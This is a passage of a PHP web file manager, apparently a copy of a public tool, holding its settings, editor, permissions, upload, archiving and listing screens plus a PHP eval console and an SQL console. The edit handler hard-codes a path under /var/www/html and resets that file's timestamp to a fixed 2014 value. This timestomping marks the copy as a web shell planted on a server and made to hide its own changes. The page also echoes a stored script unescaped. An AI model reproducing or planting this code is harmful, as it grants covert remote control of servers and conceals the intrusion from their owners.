");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
    #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
    #header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php 
$url_inc = '?fm=true';
if (isset($_POST['sqlrun']) && !empty($fm_config['enable_sql_console'])) {
    $res = empty($_POST['sql']) ? '' : $_POST['sql'];
    $res_lng = 'sql';
} elseif (isset($_POST['phprun']) && !empty($fm_config['enable_php_console'])) {
    $res = empty($_POST['php']) ? '' : $_POST['php'];
    $res_lng = 'php';
}
if (isset($_GET['fm_settings'])) {
    echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">' . __('File manager') . ' - ' . __('Settings') . '</th></tr>
' . (empty($msg) ? '' : '<tr><td class="row2" colspan="2">' . $msg . '</td></tr>') . '
' . fm_config_checkbox_row(__('Show size of the folder'), 'show_dir_size') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('pictures'), 'show_img') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Make directory'), 'make_directory') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('New file'), 'new_file') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Upload'), 'upload_file') . '
' . fm_config_checkbox_row(__('Show') . ' PHP version', 'show_php_ver') . '
' . fm_config_checkbox_row(__('Show') . ' PHP ini', 'show_php_ini') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Generation time'), 'show_gt') . '
' . fm_config_checkbox_row(__('Show') . ' xls', 'show_xls') . '
' . fm_config_checkbox_row(__('Show') . ' PHP ' . __('Console'), 'enable_php_console') . '
' . fm_config_checkbox_row(__('Show') . ' SQL ' . __('Console'), 'enable_sql_console') . '
<tr><td class="row1"><input name="fm_config[sql_server]" value="' . $fm_config['sql_server'] . '" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="' . $fm_config['sql_username'] . '" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="' . $fm_config['sql_password'] . '" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="' . $fm_config['sql_db'] . '" type="text"></td><td class="row2 whole">SQL DB</td></tr>
' . fm_config_checkbox_row(__('Show') . ' Proxy', 'enable_proxy') . '
' . fm_config_checkbox_row(__('Show') . ' phpinfo()', 'show_phpinfo') . '
' . fm_config_checkbox_row(__('Show') . ' ' . __('Settings'), 'fm_settings') . '
<tr><td class="row3"><a href="' . fm_url() . '?fm_settings=true&fm_config_delete=true">' . __('Reset settings') . '</a></td><td class="row3"><input type="submit" value="' . __('Save') . '" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">' . __('Settings') . ' - ' . __('Authorization') . '</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" ' . ($auth['authorize'] ? 'checked' : '') . ' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">' . __('Authorization') . '</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="' . $auth['login'] . '" type="text"></td><td class="row2 whole">' . __('Login') . '</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="' . $auth['password'] . '" type="text"></td><td class="row2 whole">' . __('Password') . '</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="' . $auth['cookie_name'] . '" type="text"></td><td class="row2 whole">' . __('Cookie') . '</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="' . $auth['days_authorization'] . '" type="text"></td><td class="row2 whole">' . __('Days') . '</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">' . $auth['script'] . '</textarea></td><td class="row2 whole">' . __('Script') . '</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="' . __('Save') . '" ></td></tr>
</form>
</table>';
    echo fm_tpl_form('php'), fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
    die($proxy_form);
} elseif (isset($res_lng)) {
    ?>
<table class="whole">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . $path;
    ?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?php 
    echo strtoupper($res_lng);
    ?> <?php 
    echo __('Console');
    if ($res_lng == 'sql') {
        echo ' - Database: ' . $fm_config['sql_db'] . '</h2></td><td>' . fm_run_input('php');
    } else {
        echo '</h2></td><td>' . fm_run_input('sql');
    }
    ?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
	<a href="<?php 
    echo $url_inc . '&path=' . $path;
    ?>"><?php 
    echo __('Back');
    ?></a>
	<form action="" method="POST" name="console">
	<textarea name="<?php 
    echo $res_lng;
    ?>" cols="80" rows="10" style="width: 90%"><?php 
    echo $res;
    ?></textarea><br/>
	<input type="reset" value="<?php 
    echo __('Reset');
    ?>">
	<input type="submit" value="<?php 
    echo __('Submit');
    ?>" name="<?php 
    echo $res_lng;
    ?>run">
<?php 
    $str_tmpl = $res_lng . '_templates';
    $tmpl = !empty(${$str_tmpl}) ? json_decode(${$str_tmpl}, true) : '';
    if (!empty($tmpl)) {
        $active = isset($_POST[$res_lng . '_tpl']) ? $_POST[$res_lng . '_tpl'] : '';
        $select = '<select name="' . $res_lng . '_tpl" title="' . __('Template') . '" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\'' . $res_lng . '\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\'' . $res_lng . '\'].value =\'\';" >' . "\n";
        $select .= '<option value="-1">' . __('Select') . "</option>\n";
        foreach ($tmpl as $key => $value) {
            $select .= '<option value="' . $value . '" ' . (!empty($value) && $value == $active ? 'selected' : '') . ' >' . __($key) . "</option>\n";
        }
        $select .= "</select>\n";
        echo $select;
    }
    ?>
	</form>
    </td>
</tr>
</table>
<?php 
    if (!empty($res)) {
        $fun = 'fm_' . $res_lng;
        echo '<h3>' . strtoupper($res_lng) . ' ' . __('Result') . '</h3><pre>' . $fun($res) . '</pre>';
    }
} elseif (!empty($_REQUEST['edit'])) {
    if (!empty($_REQUEST['save'])) {
        $fn = $path . $_REQUEST['edit'];
        $filemtime = filemtime($fn);
        if (file_put_contents($fn, $_REQUEST['newcontent'])) {
            $msg .= __('File updated');
        } else {
            $msg .= __('Error occurred');
        }
        if ($_GET['edit'] == basename("/var/www/html/manager1.php66.39743274bc5d224095f2ee5c95ce2a51.bin")) {
            touch("/var/www/html/manager1.php66.39743274bc5d224095f2ee5c95ce2a51.bin", 1415116371);
        } else {
            touch($fn, $filemtime);
        }
    }
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
    ?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . __('Edit') . ' - ' . $path . $_REQUEST['edit'];
    ?></th>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo $msg;
    ?>
    </td>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo fm_home();
    ?> <a href="<?php 
    echo $backlink;
    ?>"><?php 
    echo __('Back');
    ?></a>
    </td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?php 
    echo $editlink;
    ?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?php 
    echo htmlspecialchars($oldcontent);
    ?></textarea>
            <input type="submit" name="save" value="<?php 
    echo __('Submit');
    ?>">
            <input type="submit" name="cancel" value="<?php 
    echo __('Cancel');
    ?>">
        </form>
    </td>
</tr>
</table>
<?php 
} elseif (!empty($_REQUEST['rights'])) {
    if (!empty($_REQUEST['save'])) {
        if (fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively'])) {
            $msg .= __('File updated');
        } else {
            $msg .= __('Error occurred');
        }
    }
    clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
    ?>
<table class="whole">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . $path;
    ?></th>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo $msg;
    ?>
    </td>
</tr>
<tr>
    <td class="row1">
        <a href="<?php 
    echo $backlink;
    ?>"><?php 
    echo __('Back');
    ?></a>
    </td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?php 
    echo $link;
    ?>">
           <?php 
    echo __('Rights') . ' - ' . $_REQUEST['rights'];
    ?> <input type="text" name="rights_val" value="<?php 
    echo $oldrights;
    ?>">
        <?php 
    if (is_dir($path . $_REQUEST['rights'])) {
        ?>
            <input type="checkbox" name="recursively" value="1"> <?php 
        echo __('Recursively');
        ?><br/>
        <?php 
    }
    ?>
            <input type="submit" name="save" value="<?php 
    echo __('Submit');
    ?>">
        </form>
    </td>
</tr>
</table>
<?php 
} elseif (!empty($_REQUEST['rename']) && $_REQUEST['rename'] != '.') {
    if (!empty($_REQUEST['save'])) {
        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
        $msg .= __('File updated');
        $_REQUEST['rename'] = $_REQUEST['newname'];
    }
    clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
    ?>
<table class="whole">
<tr>
    <th><?php 
    echo __('File manager') . ' - ' . $path;
    ?></th>
</tr>
<tr>
    <td class="row1">
        <?php 
    echo $msg;
    ?>
    </td>
</tr>
<tr>
    <td class="row1">
        <a href="<?php 
    echo $backlink;
    ?>"><?php 
    echo __('Back');
    ?></a>
    </td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?php 
    echo $link;
    ?>">
            <?php 
    echo __('Rename');
    ?>: <input type="text" name="newname" value="<?php 
    echo $_REQUEST['rename'];
    ?>"><br/>
            <input type="submit" name="save" value="<?php 
    echo __('Submit');
    ?>">
        </form>
    </td>
</tr>
</table>
<?php 
} else {
    //Let's rock!
    $msg = '';
    if (!empty($_FILES['upload']) && !empty($fm_config['upload_file'])) {
        if (!empty($_FILES['upload']['name'])) {
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if (!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])) {
                $msg .= __('Error occurred');
            } else {
                $msg .= __('Files uploaded') . ': ' . $_FILES['upload']['name'];
            }
        }
    } elseif (!empty($_REQUEST['delete']) && $_REQUEST['delete'] != '.') {
        if (!fm_del_files($path . $_REQUEST['delete'], true)) {
            $msg .= __('Error occurred');
        } else {
            $msg .= __('Deleted') . ' ' . $_REQUEST['delete'];
        }
    } elseif (!empty($_REQUEST['mkdir']) && !empty($fm_config['make_directory'])) {
        if (!@mkdir($path . $_REQUEST['dirname'], 0777)) {
            $msg .= __('Error occurred');
        } else {
            $msg .= __('Created') . ' ' . $_REQUEST['dirname'];
        }
    } elseif (!empty($_REQUEST['mkfile']) && !empty($fm_config['new_file'])) {
        if (!($fp = @fopen($path . $_REQUEST['filename'], "w"))) {
            $msg .= __('Error occurred');
        } else {
            fclose($fp);
            $msg .= __('Created') . ' ' . $_REQUEST['filename'];
        }
    } elseif (isset($_GET['zip'])) {
        $source = base64_decode($_GET['zip']);
        $destination = basename($source) . '.zip';
        set_time_limit(0);
        $phar = new PharData($destination);
        $phar->buildFromDirectory($source);
        if (is_file($destination)) {
            $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '.&nbsp;' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . '&nbsp;<a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>';
        } else {
            $msg .= __('Error occurred') . ': ' . __('no files');
        }
    } elseif (isset($_GET['gz'])) {
        $source = base64_decode($_GET['gz']);
        $archive = $source . '.tar';
        $destination = basename($source) . '.tar';
        if (is_file($archive)) {
            unlink($archive);
        }
        if (is_file($archive . '.gz')) {
            unlink($archive . '.gz');
        }
        clearstatcache();
        set_time_limit(0);
        //die();
        $phar = new PharData($destination);
        $phar->buildFromDirectory($source);
        $phar->compress(Phar::GZ, '.tar.gz');
        unset($phar);
        if (is_file($archive)) {
            if (is_file($archive . '.gz')) {
                unlink($archive);
                $destination .= '.gz';
            }
            $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '.&nbsp;' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . '&nbsp;<a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>';
        } else {
            $msg .= __('Error occurred') . ': ' . __('no files');
        }
    } elseif (isset($_GET['decompress'])) {
        // $source = base64_decode($_GET['decompress']);
        // $destination = basename($source);
        // $ext = end(explode(".", $destination));
        // if ($ext=='zip' OR $ext=='gz') {
        // $phar = new PharData($source);
        // $phar->decompress();
        // $base_file = str_replace('.'.$ext,'',$destination);
        // $ext = end(explode(".", $base_file));
        // if ($ext=='tar'){
        // $phar = new PharData($base_file);
        // $phar->extractTo(dir($source));
        // }
        // }
        // $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
    } elseif (isset($_GET['gzfile'])) {
        $source = base64_decode($_GET['gzfile']);
        $archive = $source . '.tar';
        $destination = basename($source) . '.tar';
        if (is_file($archive)) {
            unlink($archive);
        }
        if (is_file($archive . '.gz')) {
            unlink($archive . '.gz');
        }
        set_time_limit(0);
        //echo $destination;
        $ext_arr = explode('.', basename($source));
        if (isset($ext_arr[1])) {
            unset($ext_arr[0]);
            $ext = implode('.', $ext_arr);
        }
        $phar = new PharData($destination);
        $phar->addFile($source);
        $phar->compress(Phar::GZ, $ext . '.tar.gz');
        unset($phar);
        if (is_file($archive)) {
            if (is_file($archive . '.gz')) {
                unlink($archive);
                $destination .= '.gz';
            }
            $msg .= __('Task') . ' "' . __('Archiving') . ' ' . $destination . '" ' . __('done') . '.&nbsp;' . fm_link('download', $path . $destination, __('Download'), __('Download') . ' ' . $destination) . '&nbsp;<a href="' . $url_inc . '&delete=' . $destination . '&path=' . $path . '" title="' . __('Delete') . ' ' . $destination . '" >' . __('Delete') . '</a>';
        } else {
            $msg .= __('Error occurred') . ': ' . __('no files');
        }
    }
    ?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?php 
    echo __('File manager');
    echo !empty($path) ? ' - ' . $path : '';
    ?></th>
</tr>
<?php 
    if (!empty($msg)) {
        ?>
<tr>
    <td colspan="2" class="row2"><?php 
        echo $msg;
        ?></td>
</tr>
<?php 
    }
    ?>
<tr>
    <td class="row2">
	<table>
	    <tr>
	    <td>
		<?php 
    echo fm_home();
    ?>
	    </td>
	    <td>
	    <?php 
    if (!empty($fm_config['make_directory'])) {
        ?>
		<form method="post" action="<?php 
        echo $url_inc;
        ?>">
		<input type="hidden" name="path" value="<?php 
        echo $path;
        ?>" />
		<input type="text" name="dirname" size="15">
		<input type="submit" name="mkdir" value="<?php 
        echo __('Make directory');
        ?>">
		</form>
	    <?php 
    }
    ?>
	    </td>
	    <td>
	    <?php 
    if (!empty($fm_config['new_file'])) {
        ?>
		<form method="post" action="<?php 
        echo $url_inc;
        ?>">
		<input type="hidden" name="path" value="<?php 
        echo $path;
        ?>" />
		<input type="text" name="filename" size="15">
		<input type="submit" name="mkfile" value="<?php 
        echo __('New file');
        ?>">
		</form>
	    <?php 
    }
    ?>
	    </td>
	    <td>
	    <?php 
    echo fm_run_input('php');
    ?>
	    </td>
	    <td>
	    <?php 
    echo fm_run_input('sql');
    ?>
	    </td>
	    </tr>
	</table>
    </td>
    <td class="row3">
	<table>
	<tr>
	<td>
	<?php 
    if (!empty($fm_config['upload_file'])) {
        ?>
	    <form name="form1" method="post" action="<?php 
        echo $url_inc;
        ?>" enctype="multipart/form-data">
	    <input type="hidden" name="path" value="<?php 
        echo $path;
        ?>" />
	    <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
	    <input type="text" readonly="1" id="upload_visible" placeholder="<?php 
        echo __('Select the file');
        ?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
	    <input type="submit" name="test" value="<?php 
        echo __('Upload');
        ?>" />
	    </form>
	<?php 
    }
    ?>
	</td>
	<td>
	<?php 
    if ($auth['authorize']) {
        ?>
	    <form action="" method="post">&nbsp;&nbsp;&nbsp;
	    <input name="quit" type="hidden" value="1">
	    <?php 
        echo __('Hello');
        ?>, <?php 
        echo $auth['login'];
        ?>
	    <input type="submit" value="<?php 
        echo __('Quit');
        ?>">
	    </form>
	<?php 
    }
    ?>
	</td>
	<td>
	<?php 
    echo fm_lang_form($language);
    ?>
	</td>
	<tr>
	</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?php 
    echo __('Filename');
    ?> </th>
    <th style="white-space:nowrap"> <?php 
    echo __('Size');
    ?> </th>
    <th style="white-space:nowrap"> <?php 
    echo __('Date');
    ?> </th>
    <th style="white-space:nowrap"> <?php 
    echo __('Rights');
    ?> </th>
    <th colspan="4" style="white-space:nowrap"> <?php 
    echo __('Manage');
    ?> </th>
</tr>
</thead>
<tbody>
<?php 
    $elements = fm_scan_dir($path, '', 'all', true);
    $dirs = array();
    $files = array();
    foreach ($elements as $file) {
        if (@is_dir($path . $file)) {
            $dirs[] = $file;
        } else {
            $files[] = $file;
        }
    }
    natsort($dirs);
    natsort($files);
    $elements = array_merge($dirs, $files);
    foreach ($elements as $file) {
        $filename = $path . $file;
        $filedata = @stat($filename);
        if (@is_dir($filename)) {
            $filedata[7] = '';
            if (!empty($fm_config['show_dir_size']) && !fm_root($file)) {
                $filedata[7] = fm_dir_size($filename);
            }
            $link = '<a href="' . $url_inc . '&path=' . $path . $file . '" title="' . __('Show') . ' ' . $file . '"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> ' . $file . '</a>';
            $loadlink = fm_root($file) || $phar_maybe ? '' : fm_link('zip', $filename, __('Compress') . '&nbsp;zip', __('Archiving') . ' ' . $file);
            $arlink = fm_root($file) || $phar_maybe ? '' : fm_link('gz', $filename, __('Compress') . '&nbsp;.tar.gz', __('Archiving') . ' ' . $file);
            $style = 'row2';
            if (!fm_root($file)) {
                $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?') . '\\n /' . $file . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
            } else {
                $alert = '';
            }
        } else {
            $link = $fm_config['show_img'] && getimagesize($filename) ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\'' . fm_img_link($filename) . '\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="' . fm_img_link($filename) . '"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> ' . $file . '</a>' : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path . '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> ' . $file . '</a>';
            $e_arr = explode(".", $file);
            $ext = end($e_arr);
            $loadlink = fm_link('download', $filename, __('Download'), __('Download') . ' ' . $file);
            $arlink = in_array($ext, array('zip', 'gz', 'tar')) ? '' : (fm_root($file) || $phar_maybe ? '' : fm_link('gzfile', $filename, __('Compress') . '&nbsp;.tar.gz', __('Archiving') . ' ' . $file));
            $style = 'row1';
            $alert = 'onClick="if(confirm(\'' . __('File selected') . ': \\n' . $file . '. \\n' . __('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
        }
        $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' ' . $file . '" ' . $alert . '>' . __('Delete') . '</a>';
        $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') . ' ' . $file . '">' . __('Rename') . '</a>';
        $rightstext = $file == '.' || $file == '..' ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') . ' ' . $file . '">' . @fm_rights_string($filename) . '</a>';
        ?>
<tr class="<?php 
        echo $style;
        ?>"> 
    <td><?php 
        echo $link;
        ?></td>
    <td><?php 
        echo $filedata[7];
        ?></td>
    <td style="white-space:nowrap"><?php 
        echo gmdate("Y-m-d H:i:s", $filedata[9]);
        ?></td>
    <td><?php 
        echo $rightstext;
        ?></td>
    <td><?php 
        echo $deletelink;
        ?></td>
    <td><?php 
        echo $renamelink;
        ?></td>
    <td><?php 
        echo $loadlink;
        ?></td>
    <td><?php 
        echo $arlink;
        ?></td>
</tr>
<?php 
    }
}
?>
</tbody>
</table>
<div class="row3"><?php 
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home() . ' | ver. ' . $fm_version . ' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="' . fm_site_url() . '">.</a>';
if (!empty($fm_config['show_php_ver'])) {
    echo ' | PHP ' . phpversion();
}
if (!empty($fm_config['show_php_ini'])) {
    echo ' | ' . php_ini_loaded_file();
}
if (!empty($fm_config['show_gt'])) {
    echo ' | ' . __('Generation time') . ': ' . round($totaltime, 2);
}
if (!empty($fm_config['enable_proxy'])) {
    echo " | <a href=\"?proxy=true\">proxy</a>";
}
if (!empty($fm_config['show_phpinfo'])) {
    echo " | <a href=\"?phpinfo=true\">phpinfo</a>";
}
if (!empty($fm_config['show_xls']) && !empty($link)) {
    echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="' . __('Download') . ' xls">xls</a>';
}
if (!empty($fm_config['fm_settings'])) {
    echo ' | <a href="?fm_settings=true">' . __('Settings') . '</a>';
}
?>
</div>
<?php 
echo $auth['script'];
?>
<script type="text/javascript">
function download_xls(filename, text) {
    var element = document.createElement('a');
    element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
    element.setAttribute('download', filename);
    element.style.display = 'none';
    document.body.appendChild(element);
    element.click();
    document.body.removeChild(element);
}

function base64_encode(m) {
    for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
	c = m.charCodeAt(l);
	if (128 > c) d = 1;
	else
	    for (d = 2; c >= 2 << 5 * d;) ++d;
	for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
    }
    b && (g += k[f << 6 - b]);
    return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
	t = new Date();
	filename = 'fm_' + t.toISOString() + '.xls'
	download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

    this.CreateExcelSheet = 
	function(el, name){
	    if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

		var x = document.getElementById(el).rows;

		var xls = new ActiveXObject("Excel.Application");

		xls.visible = true;
		xls.Workbooks.Add
		for (i = 0; i < x.length; i++) {
		    var y = x[i].cells;

		    for (j = 0; j < y.length; j++) {
			xls.Cells(i + 1, j + 1).Value = y[j].innerText;
		    }
		}
		xls.Visible = true;
		xls.UserControl = true;
		return xls;
	    } else {
		tableToExcelData(el, name);
	    }
	}
}
</script>
</body>
</html>

<?php 
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar
{
    var $archive_name = '';
    var $tmp_file = 0;
    var $file_pos = 0;
    var $isGzipped = true;
    var $errors = array();
    var $files = array();
    function __construct()
    {
        if (!isset($this->errors)) {
            $this->errors = array();
        }
    }
    function createArchive($file_list)
    {
        $result = false;
        if (file_exists($this->archive_name) && is_file($this->archive_name)) {
            $newArchive = false;
        } else {
            $newArchive = true;
        }
        if ($newArchive) {
            if (!$this->openWrite()) {
                return false;
            }
        } else {
            if (filesize($this->archive_name) == 0) {
                return $this->openWrite();
            }
            if ($this->isGzipped) {
                $this->closeTmpFile();
                if (!rename($this->archive_name, $this->archive_name . '.tmp')) {
                    $this->errors[] = __('Cannot rename') . ' ' . $this->archive_name . __(' to ') . $this->archive_name . '.tmp';
                    return false;
                }
                $tmpArchive = gzopen($this->archive_name . '.tmp', 'rb');
                if (!$tmpArchive) {
                    $this->errors[] = $this->archive_name . '.tmp ' . __('is not readable');
                    rename($this->archive_name . '.tmp', $this->archive_name);
                    return false;
                }
                if (!$this->openWrite()) {
                    rename($this->archive_name . '.tmp', $this->archive_name);
                    return false;
                }
                $buffer = gzread($tmpArchive, 512);
                if (!gzeof($tmpArchive)) {
                    do {
                        $binaryData = pack('a512', $buffer);
                        $this->writeBlock($binaryData);
                        $buffer = gzread($tmpArchive, 512);
                    } while (!gzeof($tmpArchive));
                }
                gzclose($tmpArchive);
                unlink($this->archive_name . '.tmp');
            } else {
                $this->tmp_file = fopen($this->archive_name, 'r+b');
                if (!$this->tmp_file) {
                    return false;
                }
            }
        }
        if (isset($file_list) && is_array($file_list)) {
            if (count($file_list) > 0) {
                $result = $this->packFileArray($file_list);
            }
        } else {
            $this->errors[] = __('No file') . __(' to ') . __('Archive');
        }
        if ($result && is_resource($this->tmp_file)) {
            $binaryData = pack('a512', '');
            $this->writeBlock($binaryData);
        }
        $this->closeTmpFile();
        if ($newArchive && !$result) {
            $this->closeTmpFile();
            unlink($this->archive_name);
        }
        return $result;
    }
    function restoreArchive($path)
    {
        $fileName = $this->archive_name;
        if (!$this->isGzipped) {
            if (file_exists($fileName)) {
                if ($fp = fopen($fileName, 'rb')) {
                    $data = fread($fp, 2);
                    fclose($fp);
                    if ($data == '\\37\\213') {
                        $this->isGzipped = true;
                    }
                }
            } elseif (substr($fileName, -2) == 'gz' or substr($fileName, -3) == 'tgz') {
                $this->isGzipped = true;
            }
        }
        $result = true;
        if ($this->isGzipped) {
            $this->tmp_file = gzopen($fileName, 'rb');
        } else {
            $this->tmp_file = fopen($fileName, 'rb');
        }
        if (!$this->tmp_file) {
            $this->errors[] = $fileName . ' ' . __('is not readable');
            return false;
        }
        $result = $this->unpackFileArray($path);
        $this->closeTmpFile();
        return $result;
    }
    function showErrors($message = '')
    {
        $Errors = $this->errors;
        if (count($Errors) > 0) {
            if (!empty($message)) {
                $message = ' (' . $message . ')';
            }
            $message = __('Error occurred') . $message . ': <br/>';
            foreach ($Errors as $value) {
                $message .= $value . '<br/>';
            }
            return $message;
        } else {
            return "";
        }
    }
    function packFileArray($file_array)
    {
        $result = true;
        if (!$this->tmp_file) {
            $this->errors[] = __('Invalid file descriptor');
            return false;
        }
        if (!is_array($file_array) || count($file_array) <= 0) {
            return true;
        }
        for ($i = 0; $i < count($file_array); $i++) {
            $filename = $file_array[$i];
            if ($filename == $this->archive_name) {
                continue;
            }
            if (strlen($filename) <= 0) {
                continue;
            }
            if (!file_exists($filename)) {
                $this->errors[] = __('No file') . ' ' . $filename;
                continue;
            }
            if (!$this->tmp_file) {
                $this->errors[] = __('Invalid file descriptor');
                return false;
            }
            if (strlen($filename) <= 0) {
                $this->errors[] = __('Filename') . ' ' . __('is incorrect');
                return false;
            }
            $filename = str_replace('\\', '/', $filename);
            $keep_filename = $this->makeGoodPath($filename);
            if (is_file($filename)) {
                if (($file = fopen($filename, 'rb')) == 0) {
                    $this->errors[] = __('Mode ') . __('is incorrect');
                }
                if ($this->file_pos == 0) {
                    if (!$this->writeHeader($filename, $keep_filename)) {
                        return false;
                    }
                }
